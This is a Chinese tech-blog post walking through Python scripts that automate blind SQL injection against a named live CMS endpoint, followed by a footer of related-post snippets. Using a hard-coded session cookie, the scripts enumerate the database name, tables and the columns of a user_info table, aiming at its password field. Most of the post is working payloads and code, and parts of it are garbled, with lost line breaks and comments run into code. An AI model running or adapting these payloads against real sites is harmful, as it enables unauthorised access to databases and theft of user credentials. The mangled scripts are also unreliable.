python sql注入脚本_python辅助sql手工注入猜解数据库案例分析

最新推荐文章于 2023-02-28 22:40:44 发布
最新推荐文章于 2023-02-28 22:40:44 发布
阅读量200 收藏
点赞数
文章标签： python sql注入脚本

发现存在sql注入漏洞

简单一点可以直接用sqlmap工具暴库

但是如果想深入理解sql注入的原理，可以尝试手工注入，配合python脚本实现手工猜解数据库

首先hachbar开启

获取cms登录后的sessionid值

开始构造sql payload

获取数据库名的长度：

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (length(database())=8) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

手工猜解需要从1往后遍历，当为8时，猜解成功

做sql手工注入的，主要是这个猜解的过程比较麻烦，大量的重复工作，所以需要做成python自动化

实现脚本如下：

# -*- encoding:utf-8 -*-#user()

#database()

import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''

for i in range(1,300):

url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print lengthif length == 9459:

print ("数据库长度为：%d" %i)

print(rs.text)

#string +=j

#break# printstring#print(rs.text)

猜解数据库完整的名字

payload

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (substr(database(),1,1)=char(71)) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))&order=desc

substr(database(),1,1 ,第一个1，表示字符串的第几位，第二个1,表示截取一位，这样，就可以逐字符猜解

# -*- encoding:utf-8 -*-import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}

#dic1='3_abcdefghijklmnopqrstuvwxyz'dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_^~]}\|[{?>=

for i in range(1,92):

# leng= len(string)

#if leng == 8:for j indic:

#leng= len(string)#if leng == 8:#m=str(ord(j))

#print (m)

m=j

url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': '(SELECT (CASE WHEN (substr(database(),{0},1)=char({1})) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))'.format((i),ord(m))}

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print (j)

print (body)

#print lengthif length == 9459:

print ("数据库第%d个字符是：%s:" %(i, j))

m=str(ord(j))string +=j

i=i+1print (m)

print (i)

# n=','# m+=n

# print (m)breakprint ("数据库是：%s" % string)

#breakprint (i)

# print ("数据库第%d个字符是：%s:" %(i,j))

# print ("数据库是：%s" % string)

#if length == 9459:

# print ("数据库长度为：%d" %i)

# print(rs.text)

#string +=j

#break# printstring#print(rs.text)

猜解表名：

1.猜解第204张表名的长度：

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)=9) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)

)&order=desc

# -*- encoding:utf-8 -*-#user()

#database()

import requests

cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''

for i in range(1,300):

url='http://yucms.hhlyty.cn/finance/account/accountList'#body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数

#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

# body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数

body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中第204张表名的长度

rs= requests.request("POST", url, cookies=cookies, params=body)

content=rs.content

length=len(content)

#print lengthif length == 9459:

print ("数据库长度为：%d" %i)

print(rs.text)

#string +=j

#break# printstring#print(rs.text)

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 204,1)))=117) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

1表示表名的第一个字符

204表示数据库中的第204张表

117表示第一个字符的ascii编码

猜解列名：

1.首先猜测表中字段的个数

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select count(*) from information_schema.columns where table_schema=database() and table_name='user_info')=36) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

2.逐个字段猜解：

猜解密码字段：

猜解第204张表user_info表第一个字段的长度：

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(column_name) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)=7) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

猜解第一个列名的长度：

猜解字段名字：

page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(column_name,1,1) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)))=85) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc

猜解字段名的第一个字符为85

weixin_39782752
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
python sql注入检测脚本_sql注入脚本
weixin_36484714的博客
02-09 1220
摘要本篇文章对原理的解释占据主要，输出的美化部分不做详细解释一. 成果展示假设我的数据库有这些那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来 二. 原理对sql-labs的前四关有效，其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入，而今天的核心就在于三个表达式select * from users where id='-1' uni...
Python实现SQL注入检测插件实例代码
09-19
主要给大家介绍了关于Python实现SQL注入检测插件的相关资料，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
基于python的sql注入脚本
03-04
适合刚学python和sql注入的人 import urllib2 import re
python sql注入脚本_python打造一个分析网站SQL注入的脚本
weixin_39600510的博客
12-03 245
1 importrequests,re,time,os2 from tqdm importtqdm3 from bs4 importBeautifulSoup4 defzhuru():5 globalx,headers,ps6 user=input('[+]Please enter the URL you want to test:') #用户输入要检测的网站7 url="...
python sql注入脚本_防SQL注入脚本
weixin_35125164的博客
01-28 123
针对sql注入特征编写的sql防注入脚本vi sql.sh#!/bin/bashselect_union(){date=`date +%F\(%H:%M:%S\)`keyword=`grep -E 'select' ./access.log | grep -E 'union' | awk '{print $1}'|sort | uniq`for i in $keyworddogrep '\' i...
全手工SQL注入式脚本整理
传说中的蒙面大侠
01-17 1416
        1.判断是否有注入;and 1=1 ;and 1=2          2.初步判断是否是mssql ;and user>0 　　3.注入参数是字符and [查询条件] and = 　　4.搜索时没过滤参数的and [查询条件] and %25= 　　5.判断数据库系统 　　;and (select count(*) from sysob
pythonSQL注入仿写SQLMAP脚本.rar
09-26
python仿写SQLMAP进行网络注入python仿写SQLMAP进行网络注入python仿写SQLMAP进行网络注入python仿写SQLMAP进行网络注入
SQL住入原始脚本_SQL注入python脚本_
10-03
标题中的“SQL住入原始脚本”指的是利用SQL注入技术来编写或执行的原始SQL命令，而“SQL注入python脚本”则表明我们将探讨如何使用Python编写脚本来自动化这一过程。 SQL注入攻击主要有三种类型：直列注入、延时...
sql_CONNECT.zip_MYSQL_mysql python_python sql_python 数据库_python数
09-24
在提供的压缩包子文件"sql_连接数据库.py"中，我们可以推测这是一个实际的Python脚本，它展示了如何使用Python连接到MySQL数据库。 现在，让我们详细讨论相关知识点： 1. **Python的数据库接口模块**：Python提供...
使用Python防止SQL注入攻击的实现示例
09-16
### 使用Python防止SQL注入攻击的实现示例 #### 文章背景与重要性 随着网络技术的发展，Web应用程序的安全性越来越受到人们的重视。开放式Web应用程序安全项目（OWASP）每几年都会发布一次关于Web应用程序最常见...
Python库 | sql_metadata-1.10.0-py3-none-any.whl
02-19
在实际开发中，配合其他Python数据库库，如`pandas`进行数据处理，或者`SQLAlchemy`进行ORM（对象关系映射），`sql_metadata`能够提供强大的辅助功能，使得数据库操作更加便捷高效。记住，使用任何库时，都要确保...
python执行sql脚本工具
04-28
python中连接mysql数据库，可作为远程服务器无权限访问mysql工具类使用
python打造一个分析网站SQL注入的脚本
weixin_30399797的博客
04-30 213
前言： 昨天晚上其实就已经写完代码。只不过向FB投稿了，打算延迟一晚上在写博客 所有才到今天早上写。好了，接下来进入正题。 思路： 1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接 2.将这些爬取到的链接写入一个URL 3.加入payload 4.用正则过滤掉一些残缺不全的链接 5.将一些报错语句加入一个列表 6.从报错的语句中...
Python安全之编写SQL注入漏洞利用脚本(EXP)
gaojian5422的博客
02-28 1498
本例中以靶机DVWA中的盲注为例。
一个关于sql注入寻找闭合的python小脚本
Alexz__的博客
09-16 441
头一天开始学python，在w3c上看了整整一天，第二天就开始对着一个成品的脚本尝试着敲了一个小脚本用来跑闭合的，和老师一起发现了几个关于python里urllib.request模块额问题 代码一直就敲的不是很好，勿喷 上源码 import urllib.request url = "" url_bihe = "http://192.168.60.129/sqli-labs-...
Python SQL批量脚本
米菲的泰迪
05-31 1028
count=100 userid=1 f=open("AAA.sql","w") sql=""" insert into AAA (zi1, zi12, zi13, zi13, zi15) values ('aa{0}',  null, null, '456{0}', null, null'account{0}', , 'zhang{0}@sohu.com', nul3, to_
python sql 注入实例
weixin_45131345的博客
04-22 460
# from pymysql import * # conn = connect(host="127.0.0.1", port=3306, database="haha", user="root", password="123456", charset="utf8") # cur = conn.cursor() # key = " '' or '1'='1'" # cur.execute("se...
CTFlearn Inj3ction Time --sql注入python多线程脚本练习
weixin_30852367的博客
02-25 232
0x00前言： 本题是国外的一个CTF平台的题目，题目不难，但学习了波多线程payload写法 　 先看题目描述，提示"union是个有用的命令",估计是用联合查询就能出答案的（因为前面有道easy题也是联合查询出答案，因此我最先做题没看题干，以为要盲注...于是写了payload） 0x01正常解法: 正常解法很简单，最先用 1'or'1'='1的时候发现没有反应，用burps...
python sql注入检测脚本
最新发布
04-24
很好，您希望了解有关 Python SQL 注入检测脚本的信息。 SQL注入是一种常见的Web应用程序攻击，可以使攻击者在不经过身份验证的情况下访问数据库。 在Python中，有许多SQL注入检测脚本可供选择，如SQLmap、SQLninja...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值